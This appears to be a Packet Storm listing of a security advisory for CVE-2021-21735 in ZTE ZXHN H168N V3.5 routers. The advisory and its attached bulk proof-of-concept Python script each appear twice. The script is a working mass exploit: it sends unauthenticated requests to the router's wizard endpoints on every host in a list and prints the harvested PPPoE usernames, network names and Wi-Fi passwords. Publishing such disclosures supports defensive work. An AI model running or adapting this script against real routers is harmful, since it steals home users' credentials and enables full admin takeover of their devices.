6.5
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Description
The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that return PPPoE credentials ADUsername, VDUsername and the WLAN KeyPassphrase via the GetPassword action without requiring authentication. The firmware routing allowlists these...
Basic Information
ID
PACKETSTORM:221998
Published
May 26, 2026 at 00:00
Affected Product
Affected Versions
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2021-001
CVE ID: CVE-2021-21735
Title: ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential
Disclosure to Full Admin Compromise
Affected: ZTE ZXHN H168N V3.5
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: [email protected]
Public URL:
https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise
MITRE: https://www.cve.org/CVERecord?id=CVE-2021-21735
VULNERABILITY DESCRIPTION
--------------------------
The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that
return PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase
via the GetPassword action without requiring authentication. The firmware
routing allowlists these endpoints through a QuickSetupEnable branch.
In ISP-deployed configurations where the Wi-Fi password is reused as the
default admin password, this credential disclosure is a full admin
compromise
chain requiring a single unauthenticated HTTP request.
A bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository
for verifying scale of exposure. (packet storm attached at bottom)
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
--- packet storm attached poc ---
import argparse
import asyncio
import html
import re
from pathlib import Path
import aiohttp
from colorama import Fore, Style, init
DEFAULT_INPUT_PATH = Path("urls.txt")
PASSWORD_FORM = {
"IF_ACTION": "GetPassword",
"_InstID_PASS": "DEV.WIFI.AP1.PSK1",
"PASSTYPE": "PSK",
}
TABLE_TEMPLATE = "{:<3} | {:<34} | {:<30} | {:<30} | {:<30} | {:<25}"
HEADERS = ["#", "URL", "AD Username", "VD Username", "ESSID", "Wi-Fi Password"]
AD_USERNAME_PATTERN = r"<ADUsername>(.*?)</ADUsername>"
VD_USERNAME_PATTERN = r"<VDUsername>(.*?)</VDUsername>"
ESSID_PATTERN = r"<ParaName>\s*ESSID\s*</ParaName>\s*<ParaValue>\s*(.*?)\s*</ParaValue>"
PASSWORD_PATTERN = r"<ParaName>KeyPassphrase</ParaName>\s*<ParaValue>(.*?)</ParaValue>"
init()
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Bulk PoC for CVE-2021-21735 against ZTE ZXHN H168N wizard endpoints."
)
parser.add_argument(
"-i",
"--input",
type=Path,
default=DEFAULT_INPUT_PATH,
help="Path to a newline-delimited host list.",
)
parser.add_argument(
"--timeout",
type=int,
default=10,
help="Per-host request timeout in seconds.",
)
return parser.parse_args()
def extract(pattern: str, text: str, default: str = "") -> str:
match = re.search(pattern, text, re.DOTALL)
if not match:
return default
return html.unescape(match.group(1).strip())
def load_hosts(input_path: Path) -> list[str]:
return [line.strip() for line in input_path.read_text(encoding="utf-8").splitlines() if line.strip()]
async def fetch_text(session: aiohttp.ClientSession, method: str, url: str, **kwargs) -> str:
async with session.request(method, url, **kwargs) as response:
response.raise_for_status()
return await response.text()
async def extract_router_secrets(session: aiohttp.ClientSession, host: str) -> dict[str, str]:
base_url = f"http://{host}/wizard_page"
try:
pppoe_xml = await fetch_text(session, "GET", f"{base_url}/wizard_pppoe_lua.lua")
wlan_xml = await fetch_text(session, "GET", f"{base_url}/wizard_wlan_config_lua.lua")
password_xml = await fetch_text(
session,
"POST",
f"{base_url}/wizard_wlan_config_lua.lua",
data=PASSWORD_FORM,
)
except Exception:
return {
"URL": host,
"AD Username": "",
"VD Username": "",
"ESSID": "",
"Wi-Fi Password": "",
}
return {
"URL": host,
"AD Username": extract(AD_USERNAME_PATTERN, pppoe_xml),
"VD Username": extract(VD_USERNAME_PATTERN, pppoe_xml),
"ESSID": extract(ESSID_PATTERN, wlan_xml),
"Wi-Fi Password": extract(PASSWORD_PATTERN, password_xml)[:64],
}
def print_header() -> None:
header = TABLE_TEMPLATE.format(
"#",
Fore.RED + HEADERS[1],
Fore.GREEN + HEADERS[2],
Fore.YELLOW + HEADERS[3],
Fore.BLUE + HEADERS[4],
Fore.MAGENTA + HEADERS[5] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(header) + Style.RESET_ALL
print(separator)
print(header + "|")
print(separator)
def print_row(index: int, row: dict[str, str]) -> None:
rendered = TABLE_TEMPLATE.format(
str(index),
Fore.RED + row["URL"],
Fore.GREEN + row["AD Username"],
Fore.YELLOW + row["VD Username"],
Fore.BLUE + row["ESSID"],
Fore.MAGENTA + row["Wi-Fi Password"] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(rendered) + Style.RESET_ALL
print(rendered + "|")
print(separator)
async def run_bulk_poc(input_path: Path, timeout_seconds: int) -> None:
hosts = load_hosts(input_path)
seen: set[tuple[str, str, str, str, str]] = set()
results: list[dict[str, str]] = []
print_header()
timeout = aiohttp.ClientTimeout(total=timeout_seconds)
async with aiohttp.ClientSession(timeout=timeout) as session:
tasks = [asyncio.create_task(extract_router_secrets(session, host)) for host in hosts]
for task in asyncio.as_completed(tasks):
try:
row = await task
except Exception as error:
print(f"{Fore.RED}Error: {error}{Style.RESET_ALL}")
continue
identity = (
row["URL"],
row["AD Username"],
row["VD Username"],
row["ESSID"],
row["Wi-Fi Password"],
)
if identity in seen:
continue
seen.add(identity)
results.append(row)
print_row(len(results), row)
def main() -> None:
args = parse_args()
asyncio.run(run_bulk_poc(args.input, args.timeout))
if __name__ == "__main__":
main()
Advisory ID: MONX-2021-001
CVE ID: CVE-2021-21735
Title: ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential
Disclosure to Full Admin Compromise
Affected: ZTE ZXHN H168N V3.5
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: [email protected]
Public URL:
https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise
MITRE: https://www.cve.org/CVERecord?id=CVE-2021-21735
VULNERABILITY DESCRIPTION
--------------------------
The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that
return PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase
via the GetPassword action without requiring authentication. The firmware
routing allowlists these endpoints through a QuickSetupEnable branch.
In ISP-deployed configurations where the Wi-Fi password is reused as the
default admin password, this credential disclosure is a full admin
compromise
chain requiring a single unauthenticated HTTP request.
A bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository
for verifying scale of exposure. (packet storm attached at bottom)
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
--- packet storm attached poc ---
import argparse
import asyncio
import html
import re
from pathlib import Path
import aiohttp
from colorama import Fore, Style, init
DEFAULT_INPUT_PATH = Path("urls.txt")
PASSWORD_FORM = {
"IF_ACTION": "GetPassword",
"_InstID_PASS": "DEV.WIFI.AP1.PSK1",
"PASSTYPE": "PSK",
}
TABLE_TEMPLATE = "{:<3} | {:<34} | {:<30} | {:<30} | {:<30} | {:<25}"
HEADERS = ["#", "URL", "AD Username", "VD Username", "ESSID", "Wi-Fi Password"]
AD_USERNAME_PATTERN = r"<ADUsername>(.*?)</ADUsername>"
VD_USERNAME_PATTERN = r"<VDUsername>(.*?)</VDUsername>"
ESSID_PATTERN = r"<ParaName>\s*ESSID\s*</ParaName>\s*<ParaValue>\s*(.*?)\s*</ParaValue>"
PASSWORD_PATTERN = r"<ParaName>KeyPassphrase</ParaName>\s*<ParaValue>(.*?)</ParaValue>"
init()
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Bulk PoC for CVE-2021-21735 against ZTE ZXHN H168N wizard endpoints."
)
parser.add_argument(
"-i",
"--input",
type=Path,
default=DEFAULT_INPUT_PATH,
help="Path to a newline-delimited host list.",
)
parser.add_argument(
"--timeout",
type=int,
default=10,
help="Per-host request timeout in seconds.",
)
return parser.parse_args()
def extract(pattern: str, text: str, default: str = "") -> str:
match = re.search(pattern, text, re.DOTALL)
if not match:
return default
return html.unescape(match.group(1).strip())
def load_hosts(input_path: Path) -> list[str]:
return [line.strip() for line in input_path.read_text(encoding="utf-8").splitlines() if line.strip()]
async def fetch_text(session: aiohttp.ClientSession, method: str, url: str, **kwargs) -> str:
async with session.request(method, url, **kwargs) as response:
response.raise_for_status()
return await response.text()
async def extract_router_secrets(session: aiohttp.ClientSession, host: str) -> dict[str, str]:
base_url = f"http://{host}/wizard_page"
try:
pppoe_xml = await fetch_text(session, "GET", f"{base_url}/wizard_pppoe_lua.lua")
wlan_xml = await fetch_text(session, "GET", f"{base_url}/wizard_wlan_config_lua.lua")
password_xml = await fetch_text(
session,
"POST",
f"{base_url}/wizard_wlan_config_lua.lua",
data=PASSWORD_FORM,
)
except Exception:
return {
"URL": host,
"AD Username": "",
"VD Username": "",
"ESSID": "",
"Wi-Fi Password": "",
}
return {
"URL": host,
"AD Username": extract(AD_USERNAME_PATTERN, pppoe_xml),
"VD Username": extract(VD_USERNAME_PATTERN, pppoe_xml),
"ESSID": extract(ESSID_PATTERN, wlan_xml),
"Wi-Fi Password": extract(PASSWORD_PATTERN, password_xml)[:64],
}
def print_header() -> None:
header = TABLE_TEMPLATE.format(
"#",
Fore.RED + HEADERS[1],
Fore.GREEN + HEADERS[2],
Fore.YELLOW + HEADERS[3],
Fore.BLUE + HEADERS[4],
Fore.MAGENTA + HEADERS[5] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(header) + Style.RESET_ALL
print(separator)
print(header + "|")
print(separator)
def print_row(index: int, row: dict[str, str]) -> None:
rendered = TABLE_TEMPLATE.format(
str(index),
Fore.RED + row["URL"],
Fore.GREEN + row["AD Username"],
Fore.YELLOW + row["VD Username"],
Fore.BLUE + row["ESSID"],
Fore.MAGENTA + row["Wi-Fi Password"] + Style.RESET_ALL,
)
separator = Fore.CYAN + "-" * len(rendered) + Style.RESET_ALL
print(rendered + "|")
print(separator)
async def run_bulk_poc(input_path: Path, timeout_seconds: int) -> None:
hosts = load_hosts(input_path)
seen: set[tuple[str, str, str, str, str]] = set()
results: list[dict[str, str]] = []
print_header()
timeout = aiohttp.ClientTimeout(total=timeout_seconds)
async with aiohttp.ClientSession(timeout=timeout) as session:
tasks = [asyncio.create_task(extract_router_secrets(session, host)) for host in hosts]
for task in asyncio.as_completed(tasks):
try:
row = await task
except Exception as error:
print(f"{Fore.RED}Error: {error}{Style.RESET_ALL}")
continue
identity = (
row["URL"],
row["AD Username"],
row["VD Username"],
row["ESSID"],
row["Wi-Fi Password"],
)
if identity in seen:
continue
seen.add(identity)
results.append(row)
print_row(len(results), row)
def main() -> None:
args = parse_args()
asyncio.run(run_bulk_poc(args.input, args.timeout))
if __name__ == "__main__":
main()